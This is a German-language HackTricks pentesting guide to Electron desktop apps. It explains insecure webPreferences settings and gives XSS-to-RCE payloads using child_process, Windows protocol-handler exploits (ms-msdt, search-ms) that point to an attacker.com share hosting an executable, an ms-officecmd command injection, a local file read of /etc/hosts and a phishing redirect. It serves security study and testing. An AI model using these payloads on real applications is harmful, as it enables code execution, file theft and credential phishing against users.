hacktricks/network-services-pentesting/pentesting-web/electron-desktop-apps/README.md

18 KiB

Electron Desktop Apps

Erlernen Sie AWS-Hacking von Null auf Held mit htARTE (HackTricks AWS Red Team Expert)!

Andere Möglichkeiten, HackTricks zu unterstützen:

Einführung

Electron kombiniert ein lokales Backend (mit NodeJS) und ein Frontend (Chromium), obwohl es einige Sicherheitsmechanismen moderner Browser vermissen lässt.

Normalerweise finden Sie den Code der Electron-App innerhalb einer .asar-Anwendung. Um den Code zu erhalten, müssen Sie ihn extrahieren:

npx asar extract app.asar destfolder #Extract everything
npx asar extract-file app.asar main.js #Extract just a file

Im Quellcode einer Electron-App, in der Datei packet.json, finden Sie die Angabe der main.js-Datei, in der Sicherheitskonfigurationen festgelegt sind.

{
"name": "standard-notes",
"main": "./app/index.js",

Electron hat 2 Prozesstypen:

  • Hauptprozess (hat vollständigen Zugriff auf NodeJS)
  • Renderer-Prozess (soll aus Sicherheitsgründen eingeschränkten Zugriff auf NodeJS haben)

Ein Renderer-Prozess wird ein Browserfenster sein, das eine Datei lädt:

const {BrowserWindow} = require('electron');
let win = new BrowserWindow();

//Open Renderer Process
win.loadURL(`file://path/to/index.html`);

Die Einstellungen des Renderer-Prozesses können im Hauptprozess in der main.js-Datei konfiguriert werden. Einige der Konfigurationen werden verhindern, dass die Electron-Anwendung RCE oder andere Sicherheitslücken aufweist, wenn die Einstellungen korrekt konfiguriert sind.

Die Electron-Anwendung könnte auf das Gerät zugreifen über Node-APIs, obwohl es so konfiguriert werden kann, dass es verhindert wird:

  • nodeIntegration - ist standardmäßig aus. Wenn aktiviert, ermöglicht den Zugriff auf Node-Funktionen vom Renderer-Prozess aus.
  • contextIsolation - ist standardmäßig an. Wenn deaktiviert, sind Haupt- und Renderer-Prozesse nicht isoliert.
  • preload - standardmäßig leer.
  • sandbox - ist standardmäßig aus. Es beschränkt die Aktionen, die NodeJS ausführen kann.
  • Node-Integration in Workers
  • nodeIntegrationInSubframes - ist standardmäßig aus.
  • Wenn nodeIntegration aktiviert ist, ermöglicht dies die Verwendung von Node.js-APIs in Webseiten, die in iframes innerhalb einer Electron-Anwendung geladen sind.
  • Wenn nodeIntegration deaktiviert ist, werden Preloads im iframe geladen.

Beispielkonfiguration:

const mainWindowOptions = {
title: 'Discord',
backgroundColor: getBackgroundColor(),
width: DEFAULT_WIDTH,
height: DEFAULT_HEIGHT,
minWidth: MIN_WIDTH,
minHeight: MIN_HEIGHT,
transparent: false,
frame: false,
resizable: true,
show: isVisible,
webPreferences: {
blinkFeatures: 'EnumerateDevices,AudioOutputDevices',
nodeIntegration: false,
contextIsolation: false,
sandbox: false,
nodeIntegrationInSubFrames: false,
preload: _path2.default.join(__dirname, 'mainScreenPreload.js'),
nativeWindowOpen: true,
enableRemoteModule: false,
spellcheck: true
}
};

Einige RCE-Payloads von hier:

Example Payloads (Windows):
<img src=x onerror="alert(require('child_process').execSync('calc').toString());">

Example Payloads (Linux & MacOS):
<img src=x onerror="alert(require('child_process').execSync('gnome-calculator').toString());">
<img src=x onerror="alert(require('child_process').execSync('/System/Applications/Calculator.app/Contents/MacOS/Calculator').toString());">
<img src=x onerror="alert(require('child_process').execSync('id').toString());">
<img src=x onerror="alert(require('child_process').execSync('ls -l').toString());">
<img src=x onerror="alert(require('child_process').execSync('uname -a').toString());">

Erfassen von Datenverkehr

Ändern Sie die start-main-Konfiguration und fügen Sie die Verwendung eines Proxys hinzu, wie zum Beispiel:

"start-main": "electron ./dist/main/main.js --proxy-server=127.0.0.1:8080 --ignore-certificateerrors",

Electron Lokale Code-Injektion

Wenn Sie lokal eine Electron-App ausführen können, ist es möglich, dass Sie sie dazu bringen können, beliebigen JavaScript-Code auszuführen. Überprüfen Sie, wie dies funktioniert:

{% content-ref url="../../../macos-hardening/macos-security-and-privilege-escalation/macos-proces-abuse/macos-electron-applications-injection.md" %} macos-electron-applications-injection.md {% endcontent-ref %}

RCE: XSS + nodeIntegration

Wenn die nodeIntegration auf on gesetzt ist, kann das JavaScript einer Webseite Node.js-Funktionen einfach verwenden, indem es require() aufruft. Zum Beispiel ist der Weg, um die Rechneranwendung unter Windows auszuführen:

<script>
require('child_process').exec('calc');
// or
top.require('child_process').exec('open /System/Applications/Calculator.app');
</script>

RCE: preload

Das Skript, das in dieser Einstellung angegeben ist, wird vor anderen Skripts im Renderer geladen, daher hat es uneingeschränkten Zugriff auf Node APIs:

new BrowserWindow{
webPreferences: {
nodeIntegration: false,
preload: _path2.default.join(__dirname, 'perload.js'),
}
});

Daher kann das Skript Node-Funktionen auf Seiten exportieren:

{% code title="preload.js" %}

typeof require === 'function';
window.runCalc = function(){
require('child_process').exec('calc')
};

{% endcode %}

{% code title="index.html" %}

<body>
<script>
typeof require === 'undefined';
runCalc();
</script>
</body>

{% endcode %}

{% hint style="info" %} Wenn contextIsolation aktiviert ist, funktioniert dies nicht {% endhint %}

RCE: XSS + contextIsolation

Das contextIsolation führt die getrennten Kontexte zwischen den Skripten der Webseite und dem internen JavaScript-Code von Electron ein, sodass die JavaScript-Ausführung jedes Codes sich nicht gegenseitig beeinflusst. Dies ist eine notwendige Funktion, um die Möglichkeit von RCE zu eliminieren.

Wenn die Kontexte nicht isoliert sind, kann ein Angreifer:

  1. Beliebiges JavaScript im Renderer ausführen (XSS oder Navigation zu externen Websites)
  2. Die integrierte Methode überschreiben, die im Preload oder im internen Code von Electron verwendet wird, um eine eigene Funktion zu erstellen
  3. Das Auslösen der Verwendung der überschriebenen Funktion
  4. RCE?

Es gibt 2 Stellen, an denen integrierte Methoden überschrieben werden können: Im Preload-Code oder im internen Code von Electron:

{% content-ref url="electron-contextisolation-rce-via-preload-code.md" %} electron-contextisolation-rce-via-preload-code.md {% endcontent-ref %}

{% content-ref url="electron-contextisolation-rce-via-electron-internal-code.md" %} electron-contextisolation-rce-via-electron-internal-code.md {% endcontent-ref %}

{% content-ref url="electron-contextisolation-rce-via-ipc.md" %} electron-contextisolation-rce-via-ipc.md {% endcontent-ref %}

Bypass click event

Wenn Einschränkungen gelten, wenn Sie auf einen Link klicken, können Sie diese möglicherweise umgehen, indem Sie anstelle eines regulären Linksklicks einen Mittelklick ausführen.

window.addEventListener('click', (e) => {

RCE über shell.openExternal

Für weitere Informationen zu diesen Beispielen siehe https://shabarkin.medium.com/1-click-rce-in-electron-applications-79b52e1fe8b8 und https://benjamin-altpeter.de/shell-openexternal-dangers/

Bei der Bereitstellung einer Electron-Desktopanwendung ist es entscheidend, die richtigen Einstellungen für nodeIntegration und contextIsolation sicherzustellen. Es wurde festgestellt, dass die clientseitige Remote-Code-Ausführung (RCE), die auf Preload-Skripte oder den nativen Code von Electron aus dem Hauptprozess abzielt, effektiv verhindert wird, wenn diese Einstellungen vorhanden sind.

Wenn ein Benutzer mit Links interagiert oder neue Fenster öffnet, werden spezifische Ereignislistener ausgelöst, die für die Sicherheit und Funktionalität der Anwendung entscheidend sind:

webContents.on("new-window", function (event, url, disposition, options) {}
webContents.on("will-navigate", function (event, url) {}

Diese Listener werden von der Desktop-Anwendung überschrieben, um ihre eigene Geschäftslogik zu implementieren. Die Anwendung bewertet, ob ein navigierter Link intern oder in einem externen Webbrowser geöffnet werden soll. Diese Entscheidung wird in der Regel durch eine Funktion, openInternally, getroffen. Wenn diese Funktion false zurückgibt, zeigt dies an, dass der Link extern geöffnet werden soll, unter Verwendung der Funktion shell.openExternal.

Hier ist ein vereinfachter Pseudocode:

https://miro.medium.com/max/1400/1*iqX26DMEr9RF7nMC1ANMAA.png

https://miro.medium.com/max/1400/1*ZfgVwT3X1V_UfjcKaAccag.png

Die Sicherheitsbewährungen von Electron JS raten davon ab, nicht vertrauenswürdige Inhalte mit der Funktion openExternal zu akzeptieren, da dies zu RCE über verschiedene Protokolle führen könnte. Betriebssysteme unterstützen verschiedene Protokolle, die RCE auslösen könnten. Für detaillierte Beispiele und weitere Erklärungen zu diesem Thema kann man auf diese Ressource verweisen, die Windows-Protokollbeispiele enthält, die diese Schwachstelle ausnutzen können.

Beispiele für Windows-Protokollexploits sind:

<script>
window.open("ms-msdt:id%20PCWDiagnostic%20%2Fmoreoptions%20false%20%2Fskip%20true%20%2Fparam%20IT_BrowseForFile%3D%22%5Cattacker.comsmb_sharemalicious_executable.exe%22%20%2Fparam%20IT_SelectProgram%3D%22NotListed%22%20%2Fparam%20IT_AutoTroubleshoot%3D%22ts_AUTO%22")
</script>

<script>
window.open("search-ms:query=malicious_executable.exe&crumb=location:%5C%5Cattacker.com%5Csmb_share%5Ctools&displayname=Important%20update")
</script>

<script>
window.open("ms-officecmd:%7B%22id%22:3,%22LocalProviders.LaunchOfficeAppForResult%22:%7B%22details%22:%7B%22appId%22:5,%22name%22:%22Teams%22,%22discovered%22:%7B%22command%22:%22teams.exe%22,%22uri%22:%22msteams%22%7D%7D,%22filename%22:%22a:/b/%2520--disable-gpu-sandbox%2520--gpu-launcher=%22C:%5CWindows%5CSystem32%5Ccmd%2520/c%2520ping%252016843009%2520&&%2520%22%22%7D%7D")
</script>

Lesen interner Dateien: XSS + contextIsolation

Das Deaktivieren von contextIsolation ermöglicht die Verwendung von <webview>-Tags, ähnlich wie <iframe>, um lokale Dateien zu lesen und zu exfiltrieren. Ein bereitgestelltes Beispiel zeigt, wie diese Schwachstelle ausgenutzt werden kann, um den Inhalt interner Dateien zu lesen:

Des Weiteren wird eine weitere Methode zum Lesen einer internen Datei geteilt, die eine kritische Schwachstelle beim Lesen lokaler Dateien in einer Electron-Desktop-App hervorhebt. Dabei wird ein Skript eingefügt, um die Anwendung zu manipulieren und Daten zu exfiltrieren:

<br><BR><BR><BR>
<h1>pwn<br>
<iframe onload=j() src="/etc/hosts">xssxsxxsxs</iframe>
<script type="text/javascript">
function j(){alert('pwned contents of /etc/hosts :\n\n '+frames[0].document.body.innerText)}
</script>

RCE: XSS + Altes Chromium

Wenn das Chromium, das von der Anwendung verwendet wird, veraltet ist und bekannte Schwachstellen aufweist, könnte es möglich sein, es zu ausnutzen und RCE durch XSS zu erhalten.
Ein Beispiel finden Sie in diesem Bericht: https://blog.electrovolt.io/posts/discord-rce/

XSS-Phishing über interne URL-Regex-Umgehung

Angenommen, Sie haben ein XSS gefunden, können jedoch keinen RCE auslösen oder interne Dateien stehlen, könnten Sie versuchen, es zu verwenden, um Anmeldeinformationen über Phishing zu stehlen.

Zunächst müssen Sie wissen, was passiert, wenn Sie versuchen, eine neue URL zu öffnen, indem Sie den JS-Code im Front-End überprüfen:

webContents.on("new-window", function (event, url, disposition, options) {} // opens the custom openInternally function (it is declared below)
webContents.on("will-navigate", function (event, url) {}                    // opens the custom openInternally function (it is declared below)

Der Aufruf von openInternally wird entscheiden, ob der Link im Desktop-Fenster geöffnet wird, da es sich um einen Link handelt, der zur Plattform gehört, oder ob er im Browser als Ressource von Drittanbietern geöffnet wird.

Im Falle, dass das Regex, das von der Funktion verwendet wird, anfällig für Umgehungen ist (zum Beispiel durch nicht Escapen der Punkte von Subdomains), könnte ein Angreifer das XSS missbrauchen, um ein neues Fenster zu öffnen, das sich in der Infrastruktur des Angreifers befindet und den Benutzer nach Anmeldedaten fragt:

<script>
window.open("<http://subdomainagoogleq.com/index.html>")
</script>

Werkzeuge

  • Electronegativity ist ein Tool zur Identifizierung von Fehlkonfigurationen und Sicherheits-Antipatterns in auf Electron basierenden Anwendungen.
  • Electrolint ist ein Open-Source-VS-Code-Plugin für Electron-Anwendungen, das Electronegativity verwendet.
  • nodejsscan zur Überprüfung von anfälligen Drittanbieter-Bibliotheken
  • Electro.ng: Sie müssen es kaufen

Labore

In https://www.youtube.com/watch?v=xILfQGkLXQo&t=22s finden Sie ein Labor, um anfällige Electron-Apps auszunutzen.

Einige Befehle, die Ihnen bei dem Labor helfen werden:

# Download apps from these URls
# Vuln to nodeIntegration
https://training.7asecurity.com/ma/webinar/desktop-xss-rce/apps/vulnerable1.zip
# Vuln to contextIsolation via preload script
https://training.7asecurity.com/ma/webinar/desktop-xss-rce/apps/vulnerable2.zip
# Vuln to IPC Rce
https://training.7asecurity.com/ma/webinar/desktop-xss-rce/apps/vulnerable3.zip

# Get inside the electron app and check for vulnerabilities
npm audit

# How to use electronegativity
npm install @doyensec/electronegativity -g
electronegativity -i vulnerable1

# Run an application from source code
npm install -g electron
cd vulnerable1
npm install
npm start

Referenzen

Erlernen Sie AWS-Hacking von Null auf Held mit htARTE (HackTricks AWS Red Team Expert)!

Weitere Möglichkeiten, HackTricks zu unterstützen: